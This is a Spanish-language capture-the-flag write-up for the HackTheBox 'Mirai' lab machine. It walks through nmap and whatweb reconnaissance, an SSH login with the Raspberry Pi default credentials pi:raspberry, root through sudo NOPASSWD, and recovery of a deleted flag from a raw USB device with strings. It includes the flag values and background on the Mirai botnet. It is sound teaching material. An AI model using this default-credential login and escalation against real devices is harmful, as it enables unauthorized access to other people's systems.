MIRAI

// IoT Default Credentials → Sudo Exploitation → Forensics USB Recovery

FÁCIL HACKTHEBOX LINUX IoT · Pi-Hole DEFAULT CREDS SSH FORENSICS // Junio 2026

Reconocimiento

1
ESCANEO COMPLETO CON NMAP

Lanzamos un escaneo exhaustivo con nmap sobre la IP objetivo 10.129.2.104, exportando resultados a XML para transformarlos luego en un reporte HTML con xsltproc.

-p- escanea los 65,535 puertos TCP. -sSCV combina SYN scan silencioso, scripts NSE por defecto y detección de versiones. -n desactiva resolución DNS y -Pn salta el host discovery previo. --min-rate=5000 acelera el escaneo a más de 5,000 paquetes por segundo, reduciendo el tiempo total a menos de un minuto.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.2.104 -oX mirai.xml
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
53/tcp open domain dnsmasq 2.76
80/tcp open http lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1335/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
|_http-title: Unauthorized
|_http-favicon: Plex
|_http-auth: HTTP/1.1 401 Unauthorized
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

// PUERTOS RELEVANTES

22/ssh — OpenSSH 6.7p1 Debian. Vector de acceso principal si obtenemos credenciales.
53/domain — dnsmasq 2.76. Servicio DNS interno, inusual en una máquina HTB típica.
80/http — lighttpd 1.4.35. Servidor web ligero, comúnmente usado en dispositivos embebidos.
32400/http — Plex Media Server. Servicio multimedia, sin relevancia directa para la explotación.

2
REPORTE HTML CON XSLTPROC

Transformamos el XML de nmap en un reporte HTML legible usando la hoja de estilos que viene incluida con nmap en /usr/share/nmap/nmap.xsl. Esto genera un archivo HTML con tabla de puertos y servicios muy útil para revisar resultados de forma visual.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl mirai.xml > mirai.html

WhatWeb

3
FINGERPRINTING WEB CON WHATWEB

whatweb es una herramienta de fingerprinting web que identifica tecnologías, frameworks, servidores y cabeceras HTTP sin necesidad de navegar manualmente al sitio. Lo ejecutamos contra el puerto 80 para obtener más contexto sobre el servidor.

El resultado más llamativo es la cabecera x-pi-hole en la respuesta HTTP. Esta cabecera no estándar es característica de Pi-Hole, un bloqueador de anuncios a nivel de red que corre típicamente sobre una Raspberry Pi. Este dato es el punto de inflexión de toda la máquina.

WHATWEB
$ whatweb 10.129.2.104
http://10.129.2.104 [404 Not Found] Country[RESERVED][ZZ],
HTTPServer[lighttpd/1.4.35], IP[10.129.2.104],
UncommonHeaders[x-pi-hole], lighttpd[1.4.35]

// INFORMATION DISCLOSURE

La cabecera x-pi-hole revela que el servidor web es Pi-Hole. Pi-Hole se despliega casi exclusivamente sobre Raspberry Pi, hardware que históricamente usa credenciales por defecto bien documentadas: usuario pi, contraseña raspberry. Esta información pública es suficiente para comprometer el sistema si el administrador no las cambió.

Pi-Hole & Raspberry Pi

4
INVESTIGACIÓN DE CREDENCIALES POR DEFECTO

Con la cabecera x-pi-hole identificada, buscamos cuáles son las credenciales por defecto de Raspberry Pi. Las versiones del sistema operativo Raspberry Pi OS anteriores a 2022 (como la presente en Mirai, que data de 2017) incluyen credenciales hardcodeadas:

USUARIO
pi
CONTRASEÑA
raspberry
SERVICIO
SSH · 22/tcp

// CONTEXTO IoT

Mirai (el nombre es una referencia directa al botnet del mismo nombre de 2016) ilustra el vector de ataque IoT más extendido: credenciales por defecto nunca cambiadas. El botnet Mirai real comprometió millones de dispositivos (cámaras IP, routers, NVRs) exactamente de esta manera, construyendo una red de DDoS que llegó a 1.2 Tbps. Los dispositivos IoT suelen carecer de interfaz para cambiar credenciales, o los usuarios simplemente no lo hacen.

Acceso SSH

5
CONEXIÓN SSH CON CREDENCIALES POR DEFECTO

Con las credenciales identificadas, intentamos el acceso SSH. El servidor avisa en el banner que SSH está habilitado y la contraseña por defecto del usuario pi no ha sido cambiada — el propio sistema reconoce la debilidad y la anuncia, aunque nadie la corrigió.

SSH
$ ssh pi@10.129.2.104
# password: raspberry
The authenticity of host '10.129.2.104 (10.129.2.104)' can't be established.
ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQ8TYrV44Y2oXyjOa60
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.2.104' (ED25519) to the list of known hosts.
pi@10.129.2.104's password: raspberry
 
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
 
pi@raspberrypi:~ $

// ACCESO OBTENIDO

Acceso como usuario pi en el host raspberrypi. El sistema confirma activamente la vulnerabilidad en el banner de login, pero el administrador nunca cambió las credenciales. Tenemos shell interactivo.

User Flag

6
LOCALIZACIÓN Y CAPTURA DE LA FLAG DE USUARIO

La flag de usuario se encuentra en el escritorio del usuario pi, en ~/Desktop/user.txt. Navegamos al directorio y la leemos.

USER FLAG
pi@raspberrypi:~ $ cd Desktop && cat user.txt
ff837707441b257a20e32199d7c8838d

Escalada de Privilegios

7
COMPROBACIÓN DE PERMISOS SUDO

El primer vector a comprobar siempre en una escalada de privilegios es sudo -l: qué comandos puede ejecutar el usuario actual con privilegios elevados sin necesidad de contraseña de root.

SUDO
pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=...
 
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL

// SUDO NOPASSWD ALL

(ALL) NOPASSWD: ALL es la configuración sudo más peligrosa posible. El usuario pi puede ejecutar cualquier comando como cualquier usuario (incluyendo root) sin contraseña. Esto hace la escalada trivial: un simple sudo su nos da acceso root inmediato.

8
ESCALADA A ROOT CON SUDO SU
ROOT
pi@raspberrypi:~ $ sudo su
root@raspberrypi:/home/pi# whoami
root

Forensics — USB Recovery

9
INVESTIGACIÓN DE /ROOT/ROOT.TXT

Al navegar a /root y leer root.txt, encontramos un mensaje inesperado: el archivo no contiene la flag sino una nota indicando que el archivo original fue eliminado accidentalmente de un USB stick. Este es el giro forense de la máquina.

ROOT.TXT
root@raspberrypi:~ # cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
10
LOCALIZACIÓN DEL USB STICK

Navegamos al directorio /media donde Linux monta dispositivos extraíbles. Encontramos el directorio usbstick montado. Al listar su contenido, hay dos archivos: damnit.txt y un directorio lost+found (estructura típica de sistemas de archivos ext).

USB
root@raspberrypi:~ # cd /media/usbstick && ls -la
total 18
drwxr-xr-x 3 root root 1024 Aug 14 2017 .
drwxr-xr-x 3 root root 4096 Aug 14 2017 ..
-rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
NOTA
root@raspberrypi:/media/usbstick # cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
 
-James

// ARCHIVO ELIMINADO

El archivo root.txt fue eliminado del USB, pero en sistemas de archivos ext (ext2/3/4), borrar un archivo solo elimina la entrada del directorio y marca los bloques como disponibles — los datos raw permanecen en el dispositivo hasta que son sobreescritos. Con acceso root y el device file del USB, podemos leer directamente los bloques del dispositivo.

Root Flag — Data Recovery

11
IDENTIFICAR EL DEVICE DEL USB CON DF

Antes de leer el dispositivo raw, necesitamos saber su ruta en /dev. df -lh muestra todos los sistemas de archivos montados con su tamaño y punto de montaje. Buscamos el que corresponde a /media/usbstick.

DF
root@raspberrypi:/media/usbstick/lost+found # df -lh
Filesystem Size Used Avail Use% Mounted on
aufs 8.5G 2.8G 5.3G 34% /
tmpfs 100M 4.8M 96M 5% /run
/dev/sda1 1.3G 1.3G 0 100% /lib/live/mount/persistence/sda1
/dev/loop0 1.3G 1.3G 0 100% /lib/live/mount/rootfs/filesystem.squashfs
/dev/sdb 8.7M 93K 7.9M 2% /media/usbstick
tmpfs 250M 0 250M 0% /sys/fs/cgroup

El USB está montado desde /dev/sdb — un disco de 8.7 MB, con solo 93K usados. Con el device identificado, usamos strings para extraer todas las cadenas de texto legibles directamente del dispositivo raw, incluyendo datos de archivos borrados que todavía residen en los bloques del disco.

12
RECUPERAR DATOS DEL DISPOSITIVO CON STRINGS
STRINGS
root@raspberrypi:/media/usbstick/lost+found # strings /dev/sdb
t3!jt3!j
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

// ROOT FLAG RECUPERADA

3d3e483143ff12ec505d026fa13e020b — La flag de root estaba en los bloques raw del dispositivo USB, invisible desde el sistema de archivos pero perfectamente recuperable leyendo el device directamente. El comando strings extrajo todas las cadenas imprimibles, incluyendo el contenido del root.txt eliminado.


VULNERABILIDAD COMPONENTE IMPACTO
Information Disclosure Header x-pi-hole Revela tecnología y plataforma hardware
Default Credentials SSH pi:raspberry Acceso inicial al sistema completo
Sudo NOPASSWD ALL sudoers config Escalada de privilegios trivial a root
Data Remanence USB ext filesystem Recuperación de archivos supuestamente borrados

Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de todos los puertos con detección de versiones, scripts NSE y exportación XML.
  • -p- — escanea los 65,535 puertos TCP
  • -sS — SYN scan (sin completar handshake)
  • -sC — ejecuta scripts NSE por defecto
  • -sV — detecta versión de servicios
  • -n — desactiva resolución DNS
  • -Pn — omite host discovery
  • --min-rate — mínimo de paquetes/segundo
  • --open — muestra solo puertos abiertos
  • -oX — exporta resultado a XML
whatweb
whatweb <IP o URL>
Fingerprinting web automático. Identifica tecnologías, frameworks, servidores y cabeceras HTTP relevantes.
  • -v — modo verbose (más detalle)
  • -a 3 — nivel de agresividad (1-4)
  • --log-json — exportar a JSON
strings
strings /dev/sdb
Extrae todas las cadenas de texto imprimibles de un archivo o dispositivo raw. Fundamental en análisis forense para recuperar datos eliminados.
  • -n <N> — longitud mínima de cadena (defecto 4)
  • -t x — muestra offset hexadecimal
  • -e s — codificación (s=single-byte)
df
df -lh
Muestra el uso de espacio de todos los sistemas de archivos montados. Esencial para identificar el device file de un USB o disco montado.
  • -l — solo sistemas de archivos locales
  • -h — tamaños en formato humano (K, M, G)
  • -T — muestra el tipo de filesystem
xsltproc
xsltproc /usr/share/nmap/nmap.xsl out.xml > out.html
Transforma el XML de nmap en un reporte HTML legible usando la hoja de estilos XSL incluida con nmap.
  • --output — especificar archivo de salida
  • --param — pasar parámetros a la hoja XSL
sudo -l
sudo -l
Lista los comandos que el usuario actual puede ejecutar con sudo. Primer check obligatorio en cualquier proceso de escalada de privilegios.
  • -U <user> — listar permisos de otro usuario (como root)
  • -k — invalidar timestamp de autenticación

Glosario

Pi-Hole — DNS Sinkhole para Bloqueo de Anuncios
Pi-Hole es un software de bloqueo de anuncios a nivel de red que actúa como servidor DNS local. Cuando un dispositivo de la red hace una consulta DNS a un dominio de publicidad o rastreo, Pi-Hole devuelve una IP falsa (sinkhole) en lugar de resolver el dominio real, bloqueando la carga del anuncio. Su nombre proviene de que fue diseñado originalmente para correr en una Raspberry Pi. El header HTTP x-pi-hole es una firma característica que identifica su presencia en un servidor web.
Default Credentials — Credenciales por Defecto
Las credenciales por defecto son combinaciones de usuario y contraseña preconfiguradas por el fabricante en dispositivos o software. Son un vector de ataque masivo en el mundo IoT: se estima que más del 15% de los dispositivos IoT en producción mantienen sus credenciales por defecto sin cambiar. El botnet Mirai (2016), que da nombre a esta máquina, se propagó exclusivamente mediante credenciales Telnet/SSH por defecto en dispositivos como cámaras IP, NVRs y routers, llegando a comprometer más de 600,000 dispositivos y generando ataques DDoS de hasta 1.2 Tbps.
Data Remanence — Remanencia de Datos
La remanencia de datos es la persistencia de datos en un medio de almacenamiento después de haber sido supuestamente eliminados. En sistemas de archivos como ext4 (usado en el USB de Mirai), borrar un archivo solo elimina la entrada en el directorio y marca los bloques como disponibles para reutilización, pero el contenido raw permanece intacto hasta ser sobreescrito. Herramientas como strings, foremost, scalpel o photorec aprovechan esto para recuperar archivos eliminados leyendo directamente el device file (/dev/sdb) en lugar del sistema de archivos montado.
Information Disclosure — Exposición de Información
Information Disclosure es una categoría de vulnerabilidad (CWE-200) donde una aplicación expone información sensible de forma no intencional. En Mirai, el header HTTP x-pi-hole revela la tecnología exacta del servidor, lo que permite inferir la plataforma hardware subyacente (Raspberry Pi) y buscar sus credenciales por defecto documentadas públicamente. Esta única cabecera fue suficiente para trazar todo el vector de ataque inicial.
Sudo NOPASSWD — Escalada de Privilegios sin Contraseña
La directiva NOPASSWD en el archivo /etc/sudoers permite a un usuario ejecutar comandos con privilegios elevados sin necesidad de introducir contraseña. Cuando se combina con ALL (cualquier comando como cualquier usuario), el resultado es que el usuario puede obtener root instantáneamente con sudo su o sudo bash. Esta configuración es común en Raspberry Pi por diseño (facilita la administración remota sin contraseña), pero en un contexto de seguridad representa una escalada de privilegios trivial una vez obtenido el acceso inicial.
IoT Botnet Mirai — Contexto Histórico
El botnet Mirai fue descubierto en 2016 por el investigador MalwareMustDie. Su código fue publicado en foros underground y usado para construir redes de dispositivos IoT comprometidos que ejecutaban ataques DDoS masivos. El ataque más notable fue contra Dyn DNS en octubre de 2016, que dejó fuera de servicio a plataformas como Twitter, Reddit, Netflix y Spotify durante horas. Mirai escaneaba rangos IP buscando dispositivos con puertos Telnet/SSH abiertos y probaba una lista de 61 combinaciones de credenciales por defecto conocidas. La máquina HTB Mirai recrea este escenario de forma simplificada para ilustrar el vector de ataque.